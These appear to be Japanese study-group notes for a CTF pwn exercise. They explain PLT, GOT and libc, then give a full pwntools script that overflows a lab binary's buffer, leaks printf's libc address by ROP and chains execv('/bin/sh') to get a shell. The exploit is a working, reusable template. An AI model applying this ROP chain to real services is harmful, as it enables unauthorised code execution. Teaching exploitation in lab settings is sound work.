# 11/17 低レイヤ勉強会 ## 連絡 - 来週はテスト週間ということでお休みにします - 11/26に定例報告会があり、11/27はレポート提出です。 そろそろ準備お願いします - 11月からはハリネズミ本を使って、勉強会用の資料を作っていきます - Malleus CTF Pwn を使ってみて、教える側(小俣)からしても基礎が足りなく、十分な解説ができないと判断したため... ## 4.3より login3の逆アセンブリコードを生成したと思いますが、 そこから**libc中のprintfのアドレスが格納されているアドレス(printfのシンボル)は0x404020** <printf@GLIBC_2.2.5>とわかります。 紛らわしいですが、アドレスにアドレスが格納される状態になっています。 そしてlibc中のprintfのアドレス自体は不明で、それを求めるのが今回のテーマとなっています。 これを覚えておいてください ## 4.4 Return-oriented programming(ROP) libc内のprintf 関数のアドレスを取得する。 => puts(printf)をCTF的なアプローチで実行 ### LIBC と PLT と GOT - libc : 共有ライブラリのこと。関数の実体が存在。 - PLT (Procedure Linkage Table): **アプリケーションから**直接呼ばれる.GOTから対応する共有ライブラリ関数のアドレスを取得し,間接ジャンプする. アドレスは**アプリケーション固有** - GOT (Global Offsets Table): 共有ライブラリ関数のアドレス一覧.実際に関数が呼ばれてからアドレスが設定される. **動的**, アドレスは**すべてのアプリケーションで共有** ### 図解すると... - プログラムの実行時 - GOTとlibcがリンクされ、関数が存在するアドレスへのリンクが設定される。 - プログラムは、呼び出される関数のアドレスを最初PLTから探し、存在しないのでGOTから取得する。その際に関数へのリンクがPLTに保存される - 2回目以降、同じ関数が呼び出されたとき - PLTを利用してlibcの関数を直接利用する。 - **プログラムが終了->再実行されない限りこのリンクは不変** - login3 の PLT の puts 関数のアドレスは固定 - login3の逆アセンブリデータ(objdump)を読むと、0x401030 <puts@plt> のようにアドレスがわかる。 - これを利用して、puts(printf)のような感じでprintf 関数のアドレスの取得を目指していく。 ### puts 関数に引数を渡す - CPUのrdi レジスタに関数の第1引数が格納される。 - メモリのスタックを用いてrdiに値を取り出す pop rdi 命令を使う - gdbのdumpropコマンドを使い、すでに存在するpop rdi命令を探し、そこに便乗する - **注意:** 逆アセンブリデータからpop rdiの部位を探そうとしても見つからない!テキストにもある通り、pop r15というまったく別の表記になっているので... - よって pop r15 == pop rdi となる。 - pop rdi(r15)で0x404020がスタックから格納されるが、 スタックに ox404020に続けてputs関数のアドレスも書いておくと、ret 命令でputs関数が呼び出される。 - これがROPという、プログラムが終了しようとするタイミングで、別の関数を実行する手法。 ## 4.6 Pwntools 以前にPwntoolsの説明をしたと思うので、すでに説明した部分は省略しています ```a.py from pwn import * elf = ELF('login3') # 自分のlogin3 実行ファイルのパスを('')内に記入 context.binary = elf s = remote('localhost', 10003) # ------------------------------ #1回目のROPでlibc内のprintfアドレスを取得。 rop = ROP(elf) rop.puts(elf.got.printf) rop.main() print(rop.dump()) s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain()) # id を格納する変数と、古いrbpの値分のスタックを全部埋める。 # ちょうどその次からアドレスの部分にあたるので、そこでropを使う。 s.recvline() # Invalid ID というメッセージが出てくるので、それまで待つ。 # ---------------------------------- # 自動でlibc中のprintf のアドレスを取得する。 printf = s.recvline() printf = unpack(printf[:-1].ljust(8, b'\0')) print('printf: %x'%printf) libc = ELF('libc-2.31.so') # 自分のlibc-2.31.so のパスを('')内に記入 libc.address = printf - libc.symbols.printf # libc ファイルとprintfのシンボルのアドレスからlibc 内のアドレスを取得する。 # --------------------------------------- # 2回目のROPでシェルを実行する。 rop = ROP(libc) rop.execv(next(libc.search(b'/bin/sh')), 0) # シェルを見つけるまでの動作は自動で行われる。 print(rop.dump()) s.sendlineafter(b'ID: ', b'a'*0x28 + rop.chain()) s.interactive() ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up